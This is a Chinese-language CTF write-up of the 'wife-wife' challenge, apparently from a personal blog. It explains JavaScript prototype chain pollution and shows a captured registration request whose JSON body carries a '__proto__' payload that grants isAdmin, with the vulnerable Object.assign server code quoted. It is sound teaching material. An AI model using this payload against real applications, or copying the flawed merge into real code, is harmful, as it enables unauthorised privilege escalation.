wife-wife【原型链污染】

发布时间 2023-11-20 21:31:52作者: yuanyy720

wife-wife【原型链污染】[难度:4]

  • 题目界面

    • 登录界面

    • 注册界面

    • 思路:在注册界面,利用原型链污染漏洞,获得管理员权限。

  • 步骤

    • 在注册界面输入用户名-密码-邀请码,勾选admin选项,抓包

      POST /register HTTP/1.1
      Host: 61.147.171.105:63129
      Content-Length: 69
      User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
      Content-Type: text/plain;charset=UTF-8
      Accept: */*
      Origin: http://61.147.171.105:63129
      Referer: http://61.147.171.105:63129/register.html
      Accept-Encoding: gzip, deflate, br
      Accept-Language: zh-CN,zh;q=0.9
      Connection: close
      
      **{"username":"123","password":"123","isAdmin":true,"inviteCode":"123"}**
      
    • 将post中的数据加入"proto"字段,放包,显示用户注册成功。

      {"username":"123","password":"123",**"_proto_":{"isAdmin":true}**,"inviteCode":"123"}
      
    • 注册成功后跳转到登录界面,在此界面输入刚才注册的账号,拿到flag。

  • 知识点

    原型链污染

    • 概念

      • 原型链污染是一种 JavaScript 中的安全漏洞,它涉及到修改对象的原型链,从而影响到所有基于该原型链创建的对象。这种漏洞可能导致意外的行为和安全风险。
      • 在js语言中,每一个实例对象都有一个私有属性(proto)指向它的构造函数的原型对象(prototype)。而该原型对象又有一个自己的原型对象,直到根部object对象,它是几乎所有javascript对象的祖宗,所以它是没有原型的。
      • 一个对象的_proto_属性指向所在类的prototype属性
    • 实例

      js中,定义一个类需以构造函数的方式来定义。

      var ad = function(){  
        this.a = 1;
        this.b = 2;
      }
      var we = new ad(); //从一个函数里创建一个对象we
      ad.prototype.b = 3;
      ad.prototype.c = 4;//在ad函数的原型对象中定义属性
      console.log(we.a);//we对象中有a属性,为一。
       
      console.log(we.b);//we对象也有b属性,为2.
      //原型中也有b属性,但是不会被访问到。也想当于重写。
      console.log(we.c);**//we对象没有c属性,所以在原型中找,为4**
      console.log(we.d);//d不是we对象的属性,继续看,d也不是
      //we.[[Prototype]]中的属性,继续,d也不是we.[[Prototype]].[[Prototype]]
      //中的属性,到此结束,返回undefined
      
    • 漏洞利用

      改变原型对象的属性,使得继承该原型对象的实例对象在本身不拥有某属性的情况下拥有某属性。

      ob1 = {"a":123,"b":456};//创建一个对象ob1
      ob1.__proto__.ab = "123456";//添加原型属性ab并赋值123456
      console.log(ob1.ab);// 打印123456
      ob2 = {"a":1234,"b":5678};//创建一个对象ob2
      console.log(ob2.ab);// 打印123456
      

      本题中的关键代码如下所示:

      app.post('/register', (req, res) => {
          let user = JSON.parse(req.body)
          if (!user.username || !user.password) {
              return res.json({ msg: 'empty username or password', err: true })
          }
          if (users.filter(u => u.username == user.username).length) {
              return res.json({ msg: 'username already exists', err: true })
          }
          if (user.isAdmin && user.inviteCode != INVITE_CODE) {
              user.isAdmin = false
              return res.json({ msg: 'invalid invite code', err: true })
          }
          let newUser = Object.assign({}, baseUser, user) //就是这里,原型链污染
          users.push(newUser)
          res.json({ msg: 'user created successfully', err: false })
      })
      

      Object.assign触发了原型链污染,使得实例对象的原型对象中isAdmin属性置为true。

参考链接:https://blog.csdn.net/m0_62422842/article/details/125154265